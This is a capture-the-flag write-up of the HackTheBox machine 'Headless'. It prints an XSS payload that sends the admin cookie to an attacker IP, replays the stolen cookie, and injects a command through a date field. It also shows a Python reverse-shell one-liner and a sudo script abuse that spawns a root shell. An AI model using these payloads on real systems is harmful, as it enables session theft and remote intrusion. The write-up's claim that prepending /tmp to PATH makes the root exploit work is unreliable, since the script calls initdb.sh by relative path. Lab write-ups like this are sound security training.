Introduction
Headless is a retired machine on HackTheBox. The objective is to compromise the target and capture both the user and root flags.
Let's dive into the challenge!
Reconnaissance
I started by adding the machine IP to /etc/hosts:
$ sudo echo '{MACHINE-IP} headless.htb' >> /etc/hosts
Then I ran a full NMAP scan to enumerate open ports:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-05 10:25 CEST
Nmap scan report for headless.htb (10.10.11.8)
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
Nmap done: 1 IP address (1 host up) scanned in 105.57 seconds
A Werkzeug app is running on port 5000. The NMAP scan already reveals an interesting is_admin cookie in the HTTP response headers.
Directory fuzzing with FFUF revealed two interesting endpoints:
/support -> HTTP 200 OK /dashboard -> HTTP 500 (access denied without admin cookie)
Analyzing the /support page, the POST form also sends the is_admin cookie in the request headers.
This hints at a potential XSS vector to steal an admin's cookie.
Getting a Shell
I fired up Burp Suite to intercept requests and started a Python HTTP server on port 8000 to catch the stolen cookie:
┌─[dawnl3ss@parrot]─[~/Neptune/Security/CTF/HTB/Headless] └──╼ [★]$ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
I injected an XSS payload into the form via Burp Suite, targeting the User-Agent header to have it reflected back to the admin bot:
# Inject in User-Agent or form field: <img src=x onerror=fetch('http://10.10.14.15:8000/'+document.cookie)>
The server callback came in almost immediately with the admin cookie:
10.10.11.8 - - [30/Apr/2024 07:34:14] "GET /is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -
Admin cookie obtained: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
I used Burp Suite to replay a request to /dashboard with the stolen cookie:
GET /dashboard HTTP/1.1
Host: headless.htb:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
The dashboard exposes a "Generate Report" feature. Analyzing the POST request, the date parameter is passed unsanitized to a shell command - classic command injection!
Appending ;id after the date value confirms RCE - output shows we are running as user dvir.
I escalated to a full reverse shell using a Python one-liner:
python3+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.15",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("sh")'
┌─[dawnl3ss@parrot]─[~/Neptune/Security/CTF/HTB/Headless] └──╼ [★]$ nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.11.8] 50324 $ id uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users) $ python3 -c 'import pty; pty.spawn("/bin/bash")' dvir@headless:~/app$ dvir@headless:~/app$ cd ~ && cat user.txt REDACTED
User flag captured! Shell obtained as dvir. Time to escalate to root.
Privilege Escalation
First step: check sudo permissions for the current user.
dvir@headless:~/app$ sudo -l Matching Defaults entries for dvir on headless: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty User dvir may run the following commands on headless: (ALL) NOPASSWD: /usr/bin/syscheck
dvir can execute /usr/bin/syscheck as root without a password. Let's inspect its source.
dvir@headless:~/app$ cat /usr/bin/syscheck #!/bin/bash if [ "$EUID" -ne 0 ]; then exit 1 fi last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1) formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M") /usr/bin/echo "Last Kernel Modification Time: $formatted_time" disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}') /usr/bin/echo "Available disk space: $disk_space" load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}') /usr/bin/echo "System load average: $load_average" if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then /usr/bin/echo "Database service is not running. Starting it..." ./initdb.sh 2>/dev/null else /usr/bin/echo "Database service is running." fi exit 0
The script calls ./initdb.sh using a relative path - meaning it looks for initdb.sh in whatever the current working directory is.
By injecting /tmp at the front of $PATH and placing a malicious initdb.sh there, we can execute arbitrary code as root.
Let's exploit this PATH hijack:
# Prepend /tmp to PATH so our script is found first dvir@headless:~/app$ export PATH=/tmp:$PATH # Move to /tmp and create the malicious initdb.sh dvir@headless:~/app$ cd /tmp dvir@headless:/tmp$ echo '/bin/bash -p' > initdb.sh dvir@headless:/tmp$ chmod 777 initdb.sh # Trigger syscheck as root from /tmp dvir@headless:/tmp$ sudo syscheck Last Kernel Modification Time: 01/02/2024 10:05 Available disk space: 1.9G System load average: 0.01, 0.05, 0.03 Database service is not running. Starting it... # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt REDACTED
Root flag captured! Box fully pwned via XSS -> Command Injection -> sudo PATH hijack. 💀